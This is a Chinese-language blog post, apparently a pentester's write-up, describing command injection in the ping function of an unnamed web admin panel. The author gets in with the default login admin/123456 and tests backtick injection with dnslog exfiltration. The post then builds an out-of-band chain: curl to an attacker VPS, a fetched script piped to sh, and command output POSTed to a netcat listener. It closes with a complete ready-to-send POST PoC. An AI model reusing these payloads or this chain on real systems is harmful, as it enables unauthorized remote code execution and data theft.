background

看见公众号发了个day 搜了一下发现全网首发这个rce啊 其他地方发的都是任意文件读取 文件读取嘛 这个洞没啥太大的卵用 其实 但我看到是php的系统 任意文件读取有时候还是能出货的 读点源码审一下还是可以的

image-20240620101451607

这个rce的poc要钱 其他有的公众号文件读取的还是不要钱的

image-20240620102312468

fuzz

这里主要记录自己测试的过程

准备读点代码来看的 但是运气很好 一来就若进去了一个系统

admin 123456 yyds

image-20240620103025559

后台找找能rce的地方 最爱的ping

image-20240620103123488

这输入不了 是因为我之前fuzz的时候整废了 这个口子命令有问题就废了 只是前端废了 输入不了了

正常发两个包

image-20240620103522253

看看数据包

image-20240620103622452

正常fuzz

addr_value=219&pingname=127.0.0.1|whoami&pingtime=2&packetsize=1
addr_value=219&pingname=127.0.0.1;whoami&pingtime=2&packetsize=1

没反应 回显是白的 前端还卡死了

盲打ping dns

addr_value=219&pingname=127.0.0.1|ping 222.k07niu.dnslog.cn&pingtime=2&packetsize=1
addr_value=219&pingname=127.0.0.1;ping 222.k07niu.dnslog.cn&pingtime=2&packetsize=1

没反应 一般在这里我以前可能会觉得没货了

这里我直接打一下

addr_value=219&pingname=2222.o6cdky.dnslog.cn&pingtime=2&packetsize=1

dns没货 但是奇怪的是本地竟然有结果

image-20240620104928917

不知道为什么这里dns没货 明明已经解析dns了呀 咋没记录

但是这里发现二级域名是可以回显的

addr_value=219&pingname=`whoami`.o6cdky.dnslog.cn&pingtime=2&packetsize=1

出货

image-20240620105132581

addr_value=219&pingname=`ping qqq.24i49v.dnslog.cn`.o6cdky.dnslog.cn&pingtime=2&packetsize=1

于是呼反引号里面再打 但是没货啊

就在这里执行命令了,但是很多命令没法执行呀 这个回显太奇葩了 很多东西都显示不出来

测了一下正常域名这里是出网的 那干脆打一下vps

addr_value=219&pingname=`curl x.x.x.x:1234`.o6cdky.dnslog.cn&pingtime=2&packetsize=1

出货了 那就直接oob?

python3 -m http.server

里面内容放 文件名1

curl http://xxxx:8000/2`ls -al >1.txt`

然后在搞另一个文件 把结果带出去 文件名2

curl -X POST -F xx=@1.txt http://xxxxx:8001

nc起一个端口

nc -l 8001

burp里发包

addr_value=219&pingname=`curl xxxxx:8000/1|sh`.o6cdky.dnslog.cn&pingtime=2&packetsize=1

首先会访问1里面的内容并且执行 1里就直接把命令结果写到1.txt了 接着访问2 执行传1.txt的操作

image-20240620111749409

至此 出货 成功外带数据 但这个站不是php写的 不知道公众号的这些东西是怎么来的

image-20240620112102135

完整poc

POST /main/deal HTTP/1.1
Host:
Content-Length: 95
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

addr_value=219&pingname=`curl x.x.x.x:8000/2|sh`.o6cdky.dnslog.cn&pingtime=2&packetsize=1